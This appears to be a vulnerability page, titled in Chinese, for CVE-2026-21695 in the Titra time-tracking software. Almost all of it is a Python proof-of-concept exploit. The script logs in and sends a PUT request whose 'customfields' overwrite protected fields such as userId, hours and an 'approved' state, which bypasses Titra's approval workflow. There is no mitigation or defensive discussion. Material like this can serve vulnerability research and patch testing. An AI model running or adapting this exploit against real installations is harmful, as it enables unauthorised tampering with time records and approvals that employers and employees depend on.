CVE-2026-21695 Titra时间追踪软件Mass Assignment批量赋值漏洞

import requests import json # CVE-2026-21695 Mass Assignment PoC for Titra # Target: Titra <= 0.99.49 BASE_URL = "http://target-host/api" def exploit_mass_assignment(target_url, username, password, target_entry_id): """ Exploit mass assignment vulnerability in Titra API This PoC demonstrates how an attacker can inject arbitrary fields into time entries via the customfields parameter. """ # Step 1: Login to get authentication token login_url = f"{target_url}/login" login_data = {"email": username, "password": password} response = requests.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed") return None token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Craft malicious request with mass assignment payload # Inject arbitrary fields including protected fields like userId, hours, state malicious_payload = { "customfields": { "userId": "attacker-controlled-user-id", # Overwrite protected field "hours": 999, # Manipulate hours "state": "approved", # Bypass approval workflow "description": "Malicious entry via mass assignment" } } # Step 3: Send request to update time entry update_url = f"{target_url}/time-entries/{target_entry_id}" response = requests.put(update_url, json=malicious_payload, headers=headers) if response.status_code == 200: print("[+] Mass assignment exploit successful!") print(f"[+] Time entry {target_entry_id} has been modified") return True else: print(f"[-] Exploit failed: {response.status_code}") return False # Usage example # exploit_mass_assignment(BASE_URL, "[email protected]", "password123", "entry-id-123")